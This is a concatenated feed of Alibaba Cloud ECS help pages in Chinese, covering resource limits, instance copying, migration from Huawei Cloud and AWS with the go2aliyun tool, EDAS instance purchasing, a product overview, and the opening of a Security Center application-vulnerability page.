      预留实例券支持的实例规格 sn1ne、sn2ne、se1ne、ic5、c5、g5、r5、c6、g6、r6、i2、i2g、hfc5、hfg5和t5

      说明 t5只支持可用区级预留实例券。

      说明 更多详情,请参见预留实例券使用限制

      块存储

      限制项 普通用户限制 提升限额方式
      创建按量付费云盘的用户限制 账号必须实名认证,而且账户余额、代金券和信用度之和不得小于100元
      一个账号在所有地域的按量付费云盘数量配额 账号下所有地域的实例数量*5,每个账号最少可以创建10块按量付费云盘 提交工单
      一个账号用作数据盘的按量付费云盘容量配额 和云服务器使用情况、地域、云盘类型有关,您可以在权益配额页面查看,详细步骤请参见查看配额 提交工单
      单实例系统盘数量 1
      单实例数据盘数量 16块(包括云盘和共享块存储)
      单块共享块存储允许同时挂载的实例数量 8
      单个账号在全地域的共享块存储配额 10 提交工单
      单块普通云盘容量 5GiB~2000GiB
      单块SSD云盘容量 20GiB~32768GiB
      单块高效云盘容量 20GiB~32768GiB
      单块ESSD云盘容量 20GiB~32768GiB
      单块SSD本地盘容量 5GiB~800GiB
      单实例SSD本地盘总容量 1024GiB
      单块NVMe SSD本地盘容量 1456GiB
      单实例NVMe SSD本地盘总容量 2912GiB
      单块SATA HDD本地盘容量 5500GiB
      单实例SATA HDD本地盘总容量 154000GiB
      单块SSD共享块存储 32768GiB
      单实例SSD共享块存储总容量 128TiB
      单块高效共享块存储 32768GiB
      单实例高效共享块存储总容量 128TiB
      系统盘单盘容量限制
      • Windows Server:40~500GiB
      • CoreOS与FreeBSD:30~500GiB
      • 其他Linux:20~500GiB
      本地盘实例是否可以自行挂载新的本地盘 不允许
      本地盘实例是否支持变更配置 仅允许变更带宽
      系统盘挂载点范围 /dev/vda
      数据盘挂载点范围 /dev/vd[b-z]

      说明 块存储按照二进制单位计算。二进制单位用于表示1024进位的数据大小。例如,1GiB=1024MiB。

      存储容量单位包

      限制项 普通用户限制 提升配额方式
      一次可以购买的存储容量单位包最大容量 50TiB 提交工单
      一个存储容量单位包的能设置的最大生效时长 3年
      存储容量单位包支持的云盘类型 ESSD云盘、SSD云盘、高效云盘和普通云盘

      快照

      限制项 普通用户限制 提升限额方式
      每块云盘或共享块存储可以保留的手动快照个数 256
      每块云盘或共享块存储可以保留的自动快照个数 1000
      一个账号在一个地域可以保留的自动快照策略数量 100

      镜像

      限制项 普通用户限制 提升限额方式
      一个账号在一个地域的保有自定义镜像配额 100 提交工单
      单个镜像最多可共享的用户数量 50 提交工单
      镜像与实例规格的限制 4GiB及以上内存的实例规格不能使用32位镜像

      SSH密钥对

      限制项 普通用户限制 提升限额方式
      一个账号在每个地域的SSH密钥对配额 500
      支持SSH密钥对的实例规格 仅系列I的非I/O优化实例不支持
      支持SSH密钥对的镜像类型 仅支持Linux系统

      公网带宽

      限制项 普通用户限制 提升限额方式
      入带宽峰值
      • 当所购出带宽峰值小于等于10Mbit/s时,阿里云会分配10Mbit/s入方向带宽
      • 当所购出带宽峰值大于10Mbit/s时,阿里云会分配与购买的出带宽峰值相等的入方向带宽
      出带宽峰值
      • 按使用流量计费:100Mbit/s
      • 按固定带宽计费:
        • 包年包月实例:200Mbit/s
        • 按量付费实例:100Mbit/s
      单实例更换分配的公网IP地址的限制 新建实例六小时内可以更换公网IP地址,一台实例最多可以更换三次

      安全组

      限制项 普通安全组限制 企业安全组限制
      一个账号在一个地域可以创建的安全组数量 100 与普通安全组相同
      一个经典网络类型的安全组能容纳的经典网络类型ECS实例数量 1000* 不支持经典网络
      一个专有网络VPC类型的安全组能容纳的VPC类型ECS实例数量 不固定,受安全组能容纳的私网IP地址数量影响 无限制
      一台ECS实例可以加入的安全组数量 5

      如需提高上限,请提交工单,可以增加到10个或者16个安全组

      与普通安全组相同
      一台ECS实例的每张弹性网卡可以加入的安全组数量
      一个安全组最大规则数量(包括入方向规则与出方向规则) 200*** 与普通安全组相同
      一张弹性网卡在所有已加入的安全组中的最大规则数量(包括入方向规则与出方向规则) 1000 与普通安全组相同
      一个专有网络VPC类型的安全组能容纳的私网IP地址数量 2000** 65536
      公网访问端口 出方向的SMTP默认端口25默认受限,而且不能通过安全组规则打开。关于如何申请解封,请参见TCP 25端口控制台解封申请 与普通安全组相同

      * 如果您有超过1000台经典网络类型ECS实例需要内网互访,可以将ECS实例分配到多个安全组内,并通过互相授权的方式允许互访。

      ** 如果您有超过2000个私网IP需要内网互访,可以将这些私网IP的ECS实例分配到多个安全组内,并通过互相授权的方式允许互访。

      *** 如果您提高了一台ECS实例的可以加入的安全组数量限制,相应的安全组最大规则数量会下降。该实例可加入的安全组数量乘以每个安全组入方向和出方向规则最大数量必须小于等于1000。即5*200=1000、10*100=1000、16*60≤1000。

      部署集

      限制项 普通用户限制 提升限额方式
      一个账号在一个地域内的部署集配额 2
      一个部署集内能容纳的实例数量 一个可用区内最多允许7台实例,一个地域内允许7*(可用区数量)的实例数量
      部署集内能创建的实例规格 c5、d1、d1ne、g5、hfc5、hfg5、i2、ic5、r5、se1ne、sn1ne和sn2ne

      云助手

      限制项 普通用户限制 提升限额方式
      一个账号在一个阿里云地域下能创建的云助手命令数量 100 提交工单
      一个账号在一个阿里云地域下每天能运行的云助手命令数量 5000 提交工单

      弹性网卡

      限制项 普通用户限制 提升限额方式
      一个账号在一个地域的弹性网卡配额 100 提交工单

      标签

      限制项 普通用户限制 提升限额方式
      单台实例允许绑定的标签数量 20

      API

      限制项 普通用户限制 提升限额方式
      CreateInstance调用次数 一分钟内最多200次 提交工单

      说明 专有网络VPC的产品限制请参见使用限制

      ]]> 复制ECS实例_部署高可用架构_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 复制ECS实例

      更新时间:2020-04-22 16:28:17

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      为了支持跨可用区容灾部署,本教程使用源实例的自定义镜像复制出三台ECS实例。一台与源实例位于同一可用区,两台与源实例位于同一地域下的不同可用区。

      前提条件

      • 已注册阿里云账号。如还未注册,请先完成账号注册
      • 已拥有待复制的源ECS实例。

      操作步骤

      1. 为ECS实例创建自定义镜像。
        1. 登录ECS管理控制台
        2. 在左侧导航栏,单击实例与镜像 > 实例
        3. 在顶部状态栏处,选择地域。
        4. 找到目标实例。在操作列中,单击更多 > 磁盘和镜像 > 创建自定义镜像
        5. 输入镜像名称和描述信息。
        6. 单击创建

          说明 创建镜像需要一段时间,请您耐心等待。

          在左侧导航栏,单击实例与镜像 > 镜像。当目标镜像的进度为100%、状态为可用时,表示镜像创建成功。自定义镜像

      2. 使用自定义镜像创建3台ECS实例。
        1. 在左侧导航栏,单击实例与镜像 > 镜像
        2. 自定义镜像页面,找到上一步创建的自定义镜像,在操作列,单击创建实例
        3. 自定义购买页面,镜像区域已设置为您选择的自定义镜像。根据页面提示,完成其他配置项并购买1台ECS实例。

          其中:

          • 地域:选择与源实例相同的地域。
          • 可用区:选择与源实例相同的可用区。
          • 公网带宽:取消勾选分配公网IPv4地址

          更多配置详情,请参见使用向导创建实例

        4. 重复第i步第ii步。在自定义购买页,镜像区域已设置为您选择的自定义镜像。根据页面提示,完成其他配置项并购买2台实例。

          其中:

          • 地域:选择与源实例相同的地域。
          • 可用区:选择与源实例不同的可用区。
          • 实例区域:设置购买实例数量为2。
          • 公网带宽区域:取消勾选分配公网IPv4地址

          更多配置详情,请参见使用向导创建实例

      执行结果

      在左侧导航栏,单击实例与镜像 > 实例。在实例列表页面,四台ECS实例的状态均为运行中,可用区两两相同。

      ecs_instances

      后续步骤

      配置SLB实例

      ]]> 华为云ECS实例迁移至阿里云ECS实例_各源环境的迁移_迁移教程_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 华为云ECS实例迁移至阿里云ECS实例

      更新时间:2019-09-29 17:51:28

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以参考本文档中的步骤,将华为云ECS实例迁移至阿里云ECS实例。

      华为ECS Windows系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保您的待迁移虚拟机能访问下列网址及端口。
        • ECS:https://ecs.aliyuncs.com:443

          说明 更多地域的ECS API接入地址,请参见请求结构

        • VPC:https://vpc.aliyuncs.com:443
        • STS:https://sts.aliyuncs.com:443
        • 中转实例:端口8080和8703。

          说明 中转实例是迁云工具在其运行过程中自动创建的临时实例。迁云过程中出现网络连接问题时,您需要运行以下命令确认待迁移虚拟机可以访问中转实例的8080和8703端口。

          telnet xxx.xx.xxx.xx 8080  #xxx.xx.xxx.xx为中转实例公网IP地址。当使用VPC内网迁移时,xxx.xx.xxx.xx为中转实例私网IP地址。
          telnet xxx.xx.xxx.xx 8703  #xxx.xx.xxx.xx为中转实例公网IP地址。当使用VPC内网迁移时,xxx.xx.xxx.xx为中转实例私网IP地址。

      • 检查系统中是否安装了QEMU Guest Agent VSS Provider服务。

        如果已安装该服务,您可以尝试去类似于C:Program Files (x86)virtiomonitor的目录下找到并执行uninstall.bat脚本,卸载QEMU Guest Agent软件。

      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查是否安装了qemu-agent工具。如果安装了此工具,您需要先卸载。卸载的具体步骤,请参见迁云工具FAQ
      • 检查授权应用。迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将华为ECS Windows系统迁移至阿里云:

      1. 下载并安装迁云工具到待迁移的服务器。具体步骤请参见下载并安装迁云工具
      2. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      3. 可选: 配置无需迁移的目录或文件。具体配置方法,请参见(可选)排除不迁移的文件或目录
      4. 运行迁云工具主程序。

        以管理员身份运行go2aliyun_client.exego2aliyun_gui.exe。如果是GUI版本,则需要单击start按钮开始迁移。

      华为ECS Linux系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保您的待迁移虚拟机能访问下列网址及端口。
        • ECS:https://ecs.aliyuncs.com:443

          说明 更多地域的ECS API接入地址,请参见请求结构

        • VPC:https://vpc.aliyuncs.com:443
        • STS:https://sts.aliyuncs.com:443
        • 中转实例:端口8080和8703。

          说明 中转实例是迁云工具在其运行过程中自动创建的临时实例。迁云过程中出现网络连接问题时,您需要运行以下命令确认待迁移虚拟机可以访问中转实例的8080和8703端口。

          telnet xxx.xx.xxx.xx 8080  #xxx.xx.xxx.xx为中转实例公网IP地址。当使用VPC内网迁移时,xxx.xx.xxx.xx为中转实例私网IP地址。
          telnet xxx.xx.xxx.xx 8703  #xxx.xx.xxx.xx为中转实例公网IP地址。当使用VPC内网迁移时,xxx.xx.xxx.xx为中转实例私网IP地址。

      • 确认您已安装Rsync库。若未安装,请根据您的操作系统,选择下列相应的命令安装:
        • CentOS:运行yum -y install rsync
        • Ubuntu:运行apt-get -y install rsync
        • Debian:运行apt-get -y install rsync
        • SUSE:运行zypper install rsync
        • 其他发行平台系统:参见发行版官网安装相关文档。
      • 检查授权应用。迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将华为ECS Linux系统迁移至阿里云:

      1. 下载并解压迁云工具后,运行迁云工具中的client_check脚本,检查待迁移ECS实例是否满足迁移条件。
        1. 运行以下命令将迁云工具下载到待迁移的服务器。

          wget http://p2v-tools.oss-cn-hangzhou.aliyuncs.com/Alibaba_Cloud_Migration_Tool.zip

        2. 运行以下命令解压缩迁云工具。

          unzip Alibaba_Cloud_Migration_Tool.zip

          解压迁云工具

        3. 运行以下命令查看待迁移Linux系统的型号,并将适用于该系统型号的迁云工具包解压缩。

          uname -a 
          unzip <适用于待迁移系统型号的迁云工具包>

          本示例中,Linux型号为x86_64,因此,适用于该系统型号的迁云工具包为go2aliyun_client1.3.2.3_linux_x86_64.zip,如下图所示。
          查看系统型号

        4. 运行以下命令进入解压后的迁云工具目录。

          cd <解压后的迁云工具目录>

          本示例中,该命令为cd go2aliyun_client1.3.2.3_linux_x86_64

        5. 运行以下命令检测Linux服务器是否满足迁移条件。

          chmod +x ./Check/client_check
          ./Check/client_check --check

          如果所有检测项的结果都为OK,表示该服务器满足迁移条件。您可以继续后面的迁移操作。

      2. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      3. 可选: 配置无需迁移的目录或文件。具体配置方法,请参见(可选)排除不迁移的文件或目录
      4. 使用root权限运行以下命令,为迁云工具主程序添加可执行权限并执行该程序。

        chmod +x go2aliyun_client
        ./go2aliyun_client

        等待迁云工具运行完成。当运行迁云工具的界面上提示Go to Aliyun Finished!时,表示迁移完成。如下图所示。
        迁移完成

      ]]> AWS EC2迁移至阿里云ECS_各源环境的迁移_迁移教程_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 AWS EC2迁移至阿里云ECS

      更新时间:2020-02-14 17:56:06

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以参见本文档中的步骤,将AWS EC2实例迁移至阿里云ECS实例。

      EC2 Windows实例迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 检查授权应用。

        EC2实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      • 检查网络环境。
      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查是否安装了qemu-agent工具。如果安装了此工具,您需要先卸载。卸载的具体步骤,请参见迁云工具FAQ
      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将EC2 Windows系统迁移至阿里云:

      1. 下载并安装迁云工具到待迁移的服务器。

        具体步骤,请参见下载并安装迁云工具

      2. 配置user_config.json文件。

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      3. 可选: 配置无需迁移的目录或文件。

        具体配置方法,请参见(可选)排除不迁移的文件或目录

      4. 运行迁云工具主程序。

        以管理员身份运行go2aliyun_client.exego2aliyun_gui.exe。如果是GUI版本,则需要单击start按钮开始迁移。

      EC2 Linux实例迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      1. 创建快照以备份数据。
      2. 检查授权应用。

        EC2实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      3. 检查网络环境。
      4. 下载并安装迁云工具。具体操作步骤,请参见下载和安装迁云工具
      5. 进入迁移工具所在目录,运行 ./Check/client_check --check 命令检查待迁移的EC2实例是否满足迁移条件。如果所有的检测项都为 OK,您可以开始迁移。否则,您需要进行下列检查:
        • 检查cloud-init。cloud-init服务是众多云平台用于自动初始化配置系统的服务软件,但AWS和阿里云的cloud-int服务配置无法完全兼容。从AWS迁移过来的系统可能会因为cloud-init启动失败导致无法正常启动,网络无法正常连通。建议您在迁移前使用阿里云的cloud-init配置,具体操作步骤请参见安装cloud-init,或者卸载原cloud-init服务。
        • 检查GRUB引导程序。

          Amazon Linux系列系统必须升级GRUB至2.02及以上,部分低内核系统(如CentOS/Red Hat 5和Debian 7)需要升级GRUB至1.99及以上。具体操作,请参见如何为Linux服务器安装GRUB?

          说明 使用root权限升级GRUB引导程序。

      6. 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将EC2 Linux实例迁移至阿里云:

      1. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      2. 可选: 配置无需迁移的目录或文件。

        具体配置方法,请参见(可选)排除不迁移的文件或目录

      3. 使用root权限依次运行以下命令,为迁云工具主程序添加可执行权限并执行该程序。

        chmod +x go2aliyun_client
        ./go2aliyun_client

        等待迁云工具运行完成。当运行迁云工具的界面上提示Go to Aliyun Finished!时,表示迁移完成。如下图所示。linux_result

      跨国际地域迁云的操作步骤

      完成以下操作,进行跨国际地域迁云操作:

      1. 将AWS EC2实例迁移到阿里云对应的国际地域,具体操作步骤请参见全量迁移

        例如,EC2实例位于美国,您可以将其迁移至阿里云位于美国的地域。具体地域及地域ID请参见地域和可用区

      2. 将新建的镜像复制到目标阿里云地域。具体操作步骤,请参见复制镜像
      3. 使用该镜像在目标阿里云地域创建实例。具体操作步骤,请参见使用自定义镜像创建实例

      后续步骤

      AWS系统的SSH一般默认关闭root密码登录,您可以使用源AWS系统用户名和SSH Key登录阿里云的实例。

      ]]> 在 ECS 集群中代购 ECS 实例_最佳实践_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在 ECS 集群中代购 ECS 实例

      更新时间:2020-02-01 15:42:33

      本页目录

      在 EDAS 中创建 ECS 集群后,除可导入已购买的 ECS 实例外,EDAS 支持从集群直接购买 ECS 实例并添加到相应的集群中。代购 ECS 实例的方式包含基于现有实例规格购买和基于实例启动模板购买,计费方式支持包年包月和按量付费。本文将详细介绍在 ECS 集群中代购 ECS 实例的过程。

      步骤一:创建 ECS 集群

      1. 登录 EDAS 控制台
      2. 在左侧导航栏中选择资源管理 > 集群
      3. 集群页面上方选择命名空间,然后在页面右侧单击创建集群
      4. 创建集群对话框中设置集群参数,然后单击创建

        创建集群

        • 集群名称:输入集群名称。名字仅支持字母、数字、下划线(_)和点(.),且长度不能超过64个字符。
        • 集群类型:选择 ECS
        • 集群网络类型:包括经典网络和 VPC 网络。根据实际需求在下拉菜单中选择网络类型。

          注意 如果您要选择 VPC 网络,请确保已经创建了 VPC。

        • VPC 网络:在下拉菜单中选择您创建的 VPC。如果没有合适的 VPC,请单击创建 VPC 跳转到 VPC 控制台创建。
        • 命名空间:显示在集群列表页面选择的命名空间,不可配置。如果未选择,则默认显示地域。

        集群创建成功后当前页面右上角会出现创建成功的提示,同时会在集群列表中显示新创建的集群。

      步骤二:代购 ECS 实例

      1. 在集群列表单击 EDAS 集群页签,单击创建的 ECS 集群 ID 进入集群详情页面。
      2. 集群详情页面右侧单击购买 ECS 扩容
      3. 集群扩容页面选择扩容方式,设置完成后单击下一步

        • 基于现有实例规格购买基于现有实例规格购买
          1. 勾选集群中现有的实例作为规格模板,然后单击下一步
          2. 购买信息页签设置以下信息,然后单击下一步
            • 选择计费方式:选择计费方式为包年包月时需设置购买时长
            • 购买数量的数字输入框内输入要购买的 ECS 实例数量。
            • 登录密钥下拉框内选择一个登录密钥,如果没有可选的登录密钥,请前往 ECS 控制台创建密钥对,相关操作请参见创建SSH密钥对
            • 勾选服务协议《云服务器 ECS 服务条款》 | 《镜像商品使用条款》
          3. 确认扩容页签,确认扩容信息,然后单击确认扩容
        • 基于启动实例模板购买基于实例启动模板购买
          1. 选择启动模板和版本,然后单击下一步
          2. 购买信息页签设置以下信息,然后单击下一步
            • 选择计费方式:选择计费方式为包年包月时需设置购买时长
            • 购买数量的数字输入框内输入要购买的 ECS 实例数量。
            • 勾选服务协议《云服务器 ECS 服务条款》 | 《镜像商品使用条款》
          3. 确认扩容页签,确认扩容信息,然后单击确认扩容

      4. 在集群中代购 ECS 实例后,会在页面上方提示已触发自动购买的流程,请查看变更流程获取实时信息。当实例导入完成后,返回集群详情页面,实例的健康检查显示为运行中则表示导入成功。

      常见问题

      1. 问题:在 EDAS 的 ECS 集群中购买的计费方式为包年包月的实例,能否享受云服务器 ECS(Elastic Compute Service)的优惠活动?

        在 ECS 集群中代购的 ECS 实例,和阿里云 ECS 控制台创建的 ECS 实例完全一样。如果云服务器 ECS 有优惠活动,EDAS 会实时同步该优惠活动,让您可以实时享受优惠政策。

      2. 问题:为什么在 ECS 集群的应用中代购 ECS 实例时,以及在 ECS 集群的应用弹性伸缩时,只能购买计费方式为按量付费的 ECS 实例?

        在 ECS 集群中的应用中进行的扩容操作和应用的业务代码紧密耦合。在扩容的过程中,EDAS 需要保证 ECS 实例购买、应用扩容、应用启动都能正常运行,这样 ECS 实例才能正常挂载到应用中。如果应用未成功启用导致无法正常挂载 ECS 实例,那么此次操作将会造成不必要的损失。为了减少损失,推荐您在应用扩容时,先代购按量付费的 ECS 实例,当 ECS 实例能正常挂载之后,再登录 ECS 控制后台将 ECS 实例转成包年包月的方式,相关操作请参见按量付费转包年包月

      3. 问题:目前在 EDAS 上使用包年包月的 ECS 实例有哪些方式?

        总共有三种方式:

        • 在集群中代购 ECS 实例来进行扩容时,直接选择计费方式为包年包月。
        • 使用按量付费的方式购买 ECS 实例,在实例上部署应用并能成功启动之后,登录 ECS 控制后台将 ECS 实例转成包年包月的方式,相关操作请参见按量付费转包年包月
        • 先在 ECS 控制台购买包年包月的 ECS 实例,再导入集群中。
      4. 问题:从 EDAS 中购买 ECS 实例是否会影响 EDAS 的应用实例的计费数量?

        EDAS 的计费维度为应用实例数,即应用部署的实例个数,与集群中的实例数量无关。故如果代购的实例有被部署至具体的应用中,将会统计应用实例数量进行计费,但如果在集群中代购了 ECS 实例并未用来部署应用,EDAS 不会再另外收费。

      5. 问题:基于现有实例规格购买 ECS,可以同步保留现有实例的哪些信息?

        如果您基于现有实例规格购买 ECS,EDAS 将自动同步现有实例的 ECS 规格、网络环境、挂载的磁盘、安全组、Cloud Init UserData 等基础信息。

      6. 问题:如何登录在 EDAS 中代购的 ECS 实例?
        • 在 ECS 集群中代购的 ECS 实例,以及在应用中扩容代购的 ECS 实例,只能使用密钥对来登录代购的 ECS 实例。在代购时请选择您经常使用的密钥。
        • 在创建应用时代购的 ECS 实例,只能使用登录密码来登录代购的 ECS 实例。请在创建应用时记录下首次随机生成登录密码。
      7. 在应用中代购 ECS 实例用于扩容后,如果将这台 ECS 实例从应用中删除的话,是否还能用于其他用途?

        在应用中选择代购模式来扩容时,您需选择回收模式

        • 当您选择回收模式为停机回收时,应用实例停止后仍将保留实例并继续收费。
        • 当您选择回收模式为释放时,ECS 实例将会被直接释放。

      ]]> 什么是云服务器ECS_产品简介_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 什么是云服务器ECS

      更新时间:2020-04-20 11:42:44

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      云服务器(Elastic Compute Service,简称ECS)是阿里云提供的性能卓越、稳定可靠、弹性扩展的IaaS(Infrastructure as a Service)级别云计算服务。云服务器ECS免去了您采购IT硬件的前期准备,让您像使用水、电、天然气等公共资源一样便捷、高效地使用服务器,实现计算资源的即开即用和弹性伸缩。阿里云ECS持续提供创新型服务器,解决多种业务需求,助力您的业务发展。

      为什么选择云服务器ECS

      选择云服务器ECS,您可以轻松构建具有以下优势的计算资源:

      • 无需自建机房,无需采购以及配置硬件设施。
      • 分钟级交付,快速部署,缩短应用上线周期。
      • 快速接入部署在全球范围内的数据中心和BGP机房。
      • 成本透明,按需使用,支持根据业务波动随时扩展和释放资源。
      • 提供GPU和FPGA等异构计算服务器、弹性裸金属服务器以及通用的x86架构服务器。
      • 支持通过内网访问其他阿里云服务,形成丰富的行业解决方案,降低公网流量成本。
      • 提供虚拟防火墙、角色权限控制、内网隔离、防病毒攻击及流量监控等多重安全方案。
      • 提供性能监控框架和主动运维体系。
      • 提供行业通用标准API,提高易用性和适用性。

      更多选择理由,请参见云服务器ECS的优势应用场景

      产品架构

      云服务器ECS主要包含以下功能组件:

      • 实例:等同于一台虚拟服务器,内含CPU、内存、操作系统、网络配置、磁盘等基础的计算组件。实例的计算性能、内存性能和适用业务场景由实例规格决定,其具体性能指标包括实例vCPU核数、内存大小、网络性能等。
      • 镜像:提供实例的操作系统、初始化应用数据及预装的软件。操作系统支持多种Linux发行版和多种Windows Server版本。
      • 块存储:块设备类型产品,具备高性能和低时延的特性。提供基于分布式存储架构的云盘以及基于物理机本地存储的本地盘。
      • 快照:某一时间点一块云盘的数据状态文件。常用于数据备份、数据恢复和制作自定义镜像等。
      • 安全组:由同一地域内具有相同保护需求并相互信任的实例组成,是一种虚拟防火墙,用于设置实例的网络访问控制。
      • 网络
        • 专有网络(Virtual Private Cloud):逻辑上彻底隔离的云上私有网络。您可以自行分配私网IP地址范围、配置路由表和网关等。
        • 经典网络:所有经典网络类型实例都建立在一个共用的基础网络上。由阿里云统一规划和管理网络配置。

      更多功能组件详情,请参见云服务器ECS产品详情页

      以下为云服务器ECS的产品组件架构图,图中涉及的功能组件的详细介绍请参见相应的帮助文档。WhatIsEcs-Orange-Renminbi

      产品定价

      云服务器ECS支持包年包月、按量付费、预留实例券、抢占式实例等多种账单计算模式。更多详情,请参见计费概述云产品定价页

      管理工具

      通过注册阿里云账号,您可以在任何地域下,通过阿里云提供的以下途径创建、使用或者释放云服务器ECS:

      • ECS管理控制台:具有交互式操作的Web服务页面。关于管理控制台的操作,请参见常用操作导航
      • ECS API:支持GET和POST请求的RPC风格API。关于API说明,请参见API参考。以下为调用云服务器ECS API的常用开发者工具:
        • 命令行工具CLI:基于阿里云API建立的灵活且易于扩展的管理工具。您可基于命令行工具封装阿里云的原生API,扩展出您需要的功能。
        • OpenAPI Explorer:提供快速检索接口、在线调用API和动态生成SDK示例代码等服务。
        • 阿里云SDK:提供Java、Python、PHP等多种编程语言的SDK。
      • 资源编排(Resource Orchestration Service):通过创建一个描述您所需的所有阿里云资源的模板,然后资源编排将根据模板,自动创建和配置资源。
      • 运维编排服务(Operation Orchestration Service):自动化管理和执行运维任务。您可以在执行模板中定义执行任务、执行顺序、执行输入和输出等,通过执行模板达到自动化完成运维任务的目的。
      • Terraform:能够通过配置文件在阿里云以及其他支持Terraform的云商平台调用计算资源,并对其进行版本控制的开源工具。
      • 阿里云App:移动端类型的管理工具。
      • Alibaba Cloud Toolkit:阿里云针对IDE平台为开发者提供的一款插件,用于帮助您高效开发并部署适合在云端运行的应用。

      部署建议

      您可以从以下维度考虑如何启动并使用云服务器ECS:

      • 地域和可用区

        地域指阿里云的数据中心,地域和可用区决定了ECS实例所在的物理位置。一旦成功创建实例后,其元数据(仅专有网络VPC类型ECS实例支持获取元数据)将确定下来,并无法更换地域。您可以从用户地理位置、阿里云产品发布情况、应用可用性、以及是否需要内网通信等因素选择地域和可用区。例如,如果您同时需要通过阿里云内网使用云数据库RDS,RDS实例和ECS实例必须处于同一地域中。更多详情,请参见地域和可用区

      • 高可用性

        为保证业务处理的正确性和服务不中断,建议您通过快照实现数据备份,通过跨可用区、部署集、负载均衡(Server Load Balancer)等实现应用容灾。

      • 网络规划

        阿里云推荐您使用专有网络VPC,可自行规划私网IP,全面支持新功能和新型实例规格。此外,专有网络VPC支持多业务系统隔离和多地域部署系统的使用场景。更多详情,请参见专有网络(Virtual Private Cloud)

      • 安全方案

        您可以使用云服务器ECS的安全组,控制ECS实例的出入网访问策略以及端口监听状态。对于部署在云服务器ECS上的应用,阿里云为您提供了免费的DDoS基础防护和基础安全服务,此外您还可以使用阿里云云盾,例如:

        • 通过DDoS高防IP保障源站的稳定可靠。更多详情,请参见DDoS高防IP文档
        • 通过云安全中心保障云服务器ECS的安全。更多详情,请参见云安全中心文档

      相关服务

      使用云服务器ECS的同时,您还可以选择以下阿里云服务:

      • 根据业务需求和策略的变化,使用弹性伸缩(Auto Scaling)自动调整云服务器ECS的数量。更多详情,请参见弹性伸缩
      • 使用专有宿主机(Dedicated Host)部署ECS实例,可让您独享物理服务器资源、降低上云和业务部署调整的成本、满足严格的合规和监管要求。更多详情,请参见专有宿主机DDH
      • 使用容器服务Kubernetes版在一组云服务器ECS上通过Docker容器管理应用生命周期。更多详情,请参见容器服务Kubernetes版
      • 通过负载均衡(Server Load Balancer)对多台云服务器ECS实现流量分发的负载均衡目的。更多详情,请参见负载均衡
      • 通过云监控(CloudMonitor)制定实例、系统盘和公网带宽等的监控方案。更多详情,请参见云监控
      • 在同一阿里云地域下,采用关系型云数据库(Relational Database Service)作为云服务器ECS的数据库应用是典型的业务访问架构,可极大降低网络延时和公网访问费用,并实现云数据库RDS的最佳性能。云数据库RDS支持多种数据库引擎,包括MySQL、SQL Server、PostgreSQL、PPAS和MariaDB。更多详情,请参见关系型云数据库
      • 云市场获取由第三方服务商提供的基础软件、企业软件、网站建设、代运维、云安全、数据及API、解决方案等相关的各类软件和服务。您也可以成为云市场服务供应商,提供软件应用及服务。更多详情,请参见云市场文档

      更多方案,请参见阿里云解决方案

      ]]> 应用漏洞_漏洞修复_安全防范_云安全中心-阿里云 Fri, 02 May 2025 09:39:04 +0800 应用漏洞

      更新时间:2020-05-06 14:42:10

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      应用漏洞检测功能可以检测主流的应用漏洞类型。本文档介绍了如何查看应用漏洞的相关信息和对应用漏洞进行处理。

      限制说明

      应用漏洞检测功能存在以下限制。

      限制项目 限制信息
      资产类型 只支持阿里云ECS服务器,不支持非阿里云服务器和IDC服务器。
      版本类型 仅云安全中心企业版支持应用漏洞检测,基础版和高级版不支持该功能。

      操作步骤

      1. 登录云安全中心控制台
      2. 在左侧导航栏单击安全防范 > 漏洞修复
      3. 漏洞修复页面单击应用漏洞页签。
